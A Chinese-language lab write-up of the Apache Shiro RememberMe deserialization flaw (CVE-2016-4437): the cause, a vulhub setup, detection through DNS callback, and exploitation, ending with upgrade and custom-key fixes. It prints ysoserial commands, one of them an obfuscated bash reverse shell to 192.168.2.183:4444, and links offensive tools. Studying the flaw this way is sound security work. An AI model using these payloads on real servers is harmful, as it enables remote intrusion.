概述

Shiro是java安全认证框架。该漏洞名为Shiro550,也称为Apache Shiro反序列化漏洞。

产生原因

Shiro框架在处理记住密码功能(RememberMe)时使用的默认或可预测的AES加密密钥。导致攻击者可构造出恶意序列化数据。

流程:

用户登陆时勾选Remember Me

服务端校验并返回加密后的Cookie

数据加密过程:用户序列化数据-> AES加密-> base64编码

勾选RememberMe后登陆成功返回的包

image.png

影响

Apache Shiro 1.2.4及以前

命令执行

环境搭建

使用vulhub提供的docker-compose.yml搭建

1
2
cd shiro/CVE-2016-4437
docker-compose up -d

复现

漏洞特征:

登陆时相应包中存在Set-Cookie: rememberMe=deleteMe;

验证漏洞存在:

使用URLDNS反序列化链进行dns外带。检测是否存在反序列化漏洞。

复现步骤:

尝试登陆,在返回包中发现特征Set-Cookie: rememberMe=deleteMe;

image.png

生成payload

1
java -jar ysoserial-all.jar URLDNS "http://lu5bzg.dnslog.cn" > poc.ser

构造Cookie

image.png

构造代码请参考vulhub

携带Cookie发送请求

image.png

查看dnslog平台

image.png

已有解析过来了。证明存在反序列化漏洞

攻防

利用

利用反序列化链CommonsBeanutils1进行命令执行

反弹shell,生成payload

1
java -jar ysoserial-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTgzLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser

构造Cookie并发起请求

image.png

工具

GitHub frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

GitHub SummerSec/ShiroAttack2: shiro反序列化漏洞综合利用,包含(回显执行命令/注入内存马)修复原版中NoCC的问题 https://github.com/j1anFen/shiro_attack

防御

更新shiro到1.2.4以上的版本

自定义AES密钥。配置文件:shiro.ini

参考

Vulhub Docker-Compose file for vulnerability environment

shiro反序列化漏洞原理分析以及漏洞复现 FreeBuf网络安全行业门户